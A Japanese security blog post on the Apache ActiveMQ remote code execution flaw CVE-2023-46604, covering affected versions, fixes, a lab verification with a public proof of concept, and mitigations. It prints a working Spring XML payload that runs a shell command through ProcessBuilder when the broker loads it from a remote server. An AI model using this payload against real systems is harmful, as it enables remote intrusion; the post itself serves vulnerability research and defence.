Apache ActiveMQ - RCE脆弱性（CVE-2023-46604）

# 概要
CVE-2023-46604は、Apache ActiveMQにおけるリモートコード実行の脆弱性です。
この脆弱性によりActiveMQブローカーにネットワークアクセスできるリモートの攻撃者はOpenWireプロトコルでシリアライズされたクラス型を操作して、ブローカーにクラスパス上の任意のクラスをインスタンス化させることで、任意のシェルコマンドを実行できる可能性があります。

# 公開日
2023/10/27

# Apache ActiveMQとは
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/698888/1ed6c50d-90ee-942d-940d-296c14ff549c.png)
ActiveMQはオープンソースのJavaベースのメッセージブローカーです。
複数の標準規格プロトコル（AMQP、STOMP、MQTT 等）をサポートしており、幅広い言語（Java、C、C++、Ruby、Perl、Python、PHP等）とプラットフォームの中からクライアントを選択することができます。

# 影響を受けるバージョン
- Apache ActiveMQ　5.18.0 ～ 5.18.2
- Apache ActiveMQ　5.17.0 ～ 5.17.5
- Apache ActiveMQ　5.16.0 ～ 5.16.6
- Apache ActiveMQ　～ 5.15.15

# 修正バージョン
この問題を修正した以下のバージョンへのアップグレードが推奨されています。
- Apache ActiveMQ　5.18.3
- Apache ActiveMQ　5.17.6
- Apache ActiveMQ　5.16.7
- Apache ActiveMQ　5.15.16

# 公式情報
- https://activemq.apache.org/security-advisories.data/CVE-2023-46604-announcement.txt
- https://activemq.apache.org/news/cve-2023-46604

# 技術的詳細
X1r0z氏とRapid7が作成した以下の記事に技術的な分析の詳細が記載されています。
- https://exp10it.cn/2023/10/apache-activemq-%E7%89%88%E6%9C%AC-5.18.3-rce-%E5%88%86%E6%9E%90/
- https://attackerkb.com/topics/IHsgZDE3tS/cve-2023-46604/rapid7-analysis


# PoC Code
X1r0z氏が作成したもの。

https://github.com/X1r0z/ActiveMQ-RCE

# 検証
上記、PoC Codeを使用します。

:::note warn
この検証は本脆弱性の研究目的で行います。
:::

### ターゲットサーバの環境
```
[root@vm-001 ~]# cat /etc/redhat-release
AlmaLinux release 8.8 (Sapphire Caracal)

[root@vm-001 ~]# /opt/activemq/bin/activemq --version | grep ActiveMQ
ActiveMQ 5.16.2

[root@vm-001 ~]# cat /opt/activemq/conf/activemq.xml | grep -E -o transport.*openwire.*:[0-9]+
transportConnector name="openwire" uri="tcp://0.0.0.0:61616
```

### poc.xml
ClassPathXmlApplicationContextクラスをインスタンス化する際の引数configLocationにxmlファイルを指定します。xmlファイルの指定はhttpで提供されるリモートURLにすることが可能です。このxmlファイルは任意のwebサーバに配置します。

ターゲットサーバが外部のインターネットへの接続に制限がある環境では、悪意のあるxmlファイルをロードできない為、攻撃を成功させるのは困難と思われます。


xmlファイルは、ProcessBuilderクラスのstartメソッドでOSのコマンドを実行するという内容です。検証する実行コマンドは`echo Hello > /tmp/RCE_success`です。
```xml
<?xml version="1.0" encoding="UTF-8" ?>
    <beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="
     http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
        <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
            <constructor-arg >
            <list>
                <value>bash</value>
                <value>-c</value>
                <value>echo Hello > /tmp/RCE_success</value>
            </list>
            </constructor-arg>
        </bean>
    </beans>
```
### 実行
※検証環境の情報を出力しないようソースコードを一部変更しています。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/698888/3d17d5c5-beac-e293-5f67-7fca6e2352ad.png)

### 結果
成功

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/698888/760d4100-7665-70ba-4767-99d20a3c6efb.png)
1. /tmp/RCE_successファイルが作成されていることを確認。
2. /tmp/RCE_successファイルの中身が「Hello」となっていることを確認。
3. コマンドの実行ユーザはActiveMQの実行ユーザであることを確認。
4. 以下の記事でログに出力されたと記載があるが、今回の検証ではログ出力は確認できず。
https://attackerkb.com/topics/IHsgZDE3tS/cve-2023-46604/rapid7-analysis

### OpenWireの通信ポートをFWで制御
OpenWireのListenポート（デフォルトは61616）をFWで送信元IPアドレスを制御。
通信できなくなるので当然、攻撃は成功しない。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/698888/951f09ee-e8cd-2433-d236-98ff36d97b34.png)

# 対策をするうえでの確認観点
検証結果を踏まえ、本脆弱性の対策をするうえでの確認観点は以下と考えます。
1. OpenWireプロトコルを使用しているか。
2. OpenWireのListenポートにリモートからアクセス可能か。
3. ActiveMQサーバからインターネットへの接続は制限されているか。

# CISA KEV Catalog
11/2に追加されました。

https://www.cisa.gov/news-events/alerts/2023/11/02/cisa-adds-one-known-exploited-vulnerability-catalog

早いもので10/10に悪用があったようでゼロデイですね。
- https://www.securityweek.com/apache-activemq-vulnerability-exploited-as-zero-day/
- https://www.csoonline.com/article/657956/hellokitty-ransomware-deployed-via-critical-apache-activemq-flaw.html

# 参考URL
- https://nvd.nist.gov/vuln/detail/CVE-2023-46604 
- https://www.rapid7.com/blog/post/2023/11/01/etr-suspected-exploitation-of-apache-activemq-cve-2023-46604/?utm_medium=1email&utm_source=marketo&utm_campaign=cm-bau&utm_content=etr-cve-2023-46604&utm_meta=cm10463
- https://access.redhat.com/security/cve/cve-2023-46604
- https://socradar.io/critical-rce-vulnerability-in-apache-activemq-is-targeted-by-hellokitty-ransomware-cve-2023-46604/
- https://github.com/rapid7/metasploit-framework/pull/18501